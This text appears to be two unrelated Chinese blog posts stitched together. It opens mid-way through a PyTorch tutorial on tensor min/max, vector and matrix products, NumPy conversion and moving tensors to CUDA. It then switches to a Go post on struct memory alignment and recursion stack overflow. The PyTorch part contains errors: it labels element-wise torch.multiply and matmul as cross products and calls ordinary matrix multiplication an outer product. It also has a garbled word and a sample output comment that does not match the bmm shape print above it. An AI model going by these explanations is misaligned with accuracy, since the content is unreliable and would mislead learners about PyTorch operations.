# 求最大值的第二种方法
a = torch.rand(4, 3)
b = torch.max(a, 1, True)
print(b)

求最小值

求最小值的第一种方法为torch.min(input)->float,返回输入张量的最小值。

# 求最小值的第一种方法
a = torch.rand(4,3)
b = torch.min(a)
print(b) 

求最小值的第二种方法为torch.min(input,dim,keepdim=False,out=None)->(Tensor,LongTensor),与求最大值的第二种方法类似。

# 求最小值的第二种方法
a = torch.rand(4, 3)
b = torch.min(a, 1, True)
print(b)

向量运算和矩阵运算

向量的线性代数运算包括点乘(dot(a,b))、内积(inner(a,b))、叉乘(matmul(a,b))等。

向量的点乘

向量的待你橙又称为向量的内积或数量积,对两个向量执行点乘运算,就是对这两个向量对应位一一相乘之后求和的操作。

# 向量的点乘,a和b必须为一维
a = torch.Tensor([1, 2, 3])
b = torch.Tensor([1, 1, 1])
output = torch.dot(a, b)
print(output) # 等价于 1*1+2*1+3*1,tensor(6.)

向量的叉乘

两个向量的外积,又叫叉乘、叉积向量积,其运算结果是一个向量而不是一个标量。

# 向量的叉乘
a = torch.Tensor([1, 2, 3])
b = torch.Tensor([1, 1, 1])
output = torch.multiply(a, b)
print(output)

矩阵的内积

两个维度相同的矩阵a和b,a和b矩阵的内积是相同位置的向量的内积。

# 矩阵的内积
a = torch.Tensor([1, 2, 3])
b = torch.Tensor([1, 1, 1])
output = torch.inner(a, b)
print(output) 

矩阵的外积

矩阵的外积就是通常意义的一般矩阵乘积。一般矩阵乘积是矩阵相乘最重要的方法,它只有在第一个矩阵的列数(column)和第二个矩阵的行数(row)相同时才有意义。

# 矩阵的外积:矩阵乘法
a = torch.Tensor([[1, 2, 3], [4, 5, 6]])
b = torch.Tensor([[1, 1], [2, 2], [3, 3]])
output = torch.matmul(a, b)
print(output)

# 按批量相乘
a = torch.randn(10, 3, 4)
b = torch.randn(10, 4, 5)
output = torch.bmm(a, b)
print(output.shape)
# tensor([[14., 14.],
#         [32., 32.]])

torch.einsum():爱因斯坦求和约定是一个非常神奇的函数,号称可以满足你的一切需求!功能强大,

https://zhuanlan.zhihu.com/p/44954540

张量与Numpy数组

由于使用Numpy中ndarray处理数据非常方便,经常会将张量与Numpy数组进行相互转换,所以掌握两者之间的转换方法很有必要。但是需要注意一点:相互转换后所产生的张量和Numpy中的数组共享相同的内存(所以他们之间的转换很快),改变其中一个时另一个也会改变。将张量转换为Numpy数组使用tensor.numpy()方法,将Numpy数组转换为张量使用torch.from_numpy(ndarry)方法。

张量转Numpy数组

使用numpy()函数将张量转换成Numpy数组。

a = torch.ones(1, 2)
b = a.numpy()  # 进行转换
print(a, b)  
a += 2
print(a, b)  
b += 2  # 在a改变后,b也已经改变
print(a, b) 

Numpy数组转张量

使用from_numpy()函数将Numpy数组转换成张量。

import numpy as np
a = np.ones([1, 2])
b = torch.from_numpy(a)  # 进行转换
print(a, b)  
a += 2
print(a, b)  
b += 2  # 在a改变后,b也已经改变
print(a, b)  

Cuda张量与CPU张量

在深度学习过程中,GPU能起到加速的作用。PyTorch中的张量默认存放在CPU设备中,如果GPU可用,可以将张量转移到GPU中。CPU张量转换为Cuda张量有两种方法。一般情况下,可以使用.cuda方法将Tensor移动到GPU;在有多个GPU的情况下,可以使用to方法来确定使用哪个设备。也可以使用.cpu方法将Tensor移动到CPU。

x = torch.rand(2, 4)
print(x.device)  # cpu
# 第一种方法
x = x.cuda()
print(x.device)  # cuda:0
# 第二种方法
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
if torch.cuda.is_available():
    x = x.to(device)
    print(x.device)  #cuda:0
# 转化为cpu
x = x.cpu()
print(x.device)  # cpu

欢迎关注公众号:愚生浅末。
image

原创文章,欢迎转载,转载请注明出处,谢谢。


Go plan9 汇编系列文章:


0. 前言

在 Go plan9 汇编系列文章中,介绍了函数和函数栈的调用。这里继续看内存对齐和递归调用方面的内容。

1. 内存对齐

直接上示例:

type temp struct {
	a bool
	b int16
	c []string
}

func main() {
	var t = temp{a: true, b: 1, c: []string{}}
	fmt.Println(unsafe.Sizeof(t))
}

输出:

32

改写 temp 结构体成员变量位置:

type temp struct {
	a bool
    c []string
	b int16
}

func main() {
	var t = temp{a: true, b: 1, c: []string{}}
	fmt.Println(unsafe.Sizeof(t))
}

输出:

40

为什么移动下结构体成员的位置会对结构体在内存中的大小有影响呢?

打印示例中结构体成员变量地址如下:

# 示例 1
func main() {
	var t = temp{a: true, b: 1, c: []string{}}

	fmt.Println(unsafe.Sizeof(t.a), unsafe.Sizeof(t.b), unsafe.Sizeof(t.c))
	fmt.Printf("%p %p %p %p\n", &t, &t.a, &t.b, &t.c)

	fmt.Println(unsafe.Sizeof(t))
}

# go run ex10.go 
1 2 24
0xc0000a4000 0xc0000a4000 0xc0000a4002 0xc0000a4008
32

# 示例 2
func main() {
	var t = temp{a: true, b: 1, c: []string{}}

	fmt.Println(unsafe.Sizeof(t.a), unsafe.Sizeof(t.c), unsafe.Sizeof(t.b))
	fmt.Printf("%p %p %p %p\n", &t, &t.a, &t.c, &t.b)

	fmt.Println(unsafe.Sizeof(t))
}

# go run ex10.go 
1 24 2
0xc00006e090 0xc00006e090 0xc00006e098 0xc00006e0b0
40

可以看到,在为结构体分配内存时是要遵循内存对齐的,内存对齐是为了简化寻址,CPU 可一次找到变量的位置。因为内存对齐的存在,这里示例 2 中虽然变量 a 只占 1 个字节,但却独占了 8 个字节,这对于写代码来说是一种内存消耗,应当避免的。

2. 递归

我们看一个递归的示例:

func main() {
	println(sum(1000))
}

//go:nosplit
func sum(n int) int {
	if n > 0 {
		return n + sum(n-1)
	} else {
		return 0
	}
}

输出:

# go run ex7.go 
# command-line-arguments
main.sum: nosplit stack over 792 byte limit
main.sum<1>
    grows 24 bytes, calls main.sum<1>
    infinite cycle

这里我们在
sum
函数前加
//go:nosplit
是要声明这个函数是不可栈分裂的函数。意味着当函数栈满的时候,(内存分配器)不会为它开辟新的空间。

Go 为 goroutine 分配的初始栈空间大小为 2K,如果 main 栈加上 nosplit 的 sum 栈超过 2K,将导致爆栈。


//go:nosplit
拿掉,重新执行:

func main() {
	println(sum(100000))
}

func sum(n int) int {
	if n > 0 {
		return n + sum(n-1)
	} else {
		return 0
	}
}

输出:

5000050000

那么
sum
是否可以无限递归呢?我们给
sum
一个大数 10000000000000,接着重新执行:

runtime: goroutine stack exceeds 1000000000-byte limit
runtime: sp=0xc0200f8398 stack=[0xc0200f8000, 0xc0400f8000]
fatal error: stack overflow

输出
stack overflow
,main 协程的栈是从 0xc0200f8000 到 0xc0400f8000,这里递归所用的栈超过了 goroutine 栈的最大限制
1000000000-byte
(超过的意思是 main 栈加上 sum 递归调用的栈超过了最大限制),也就是 1G。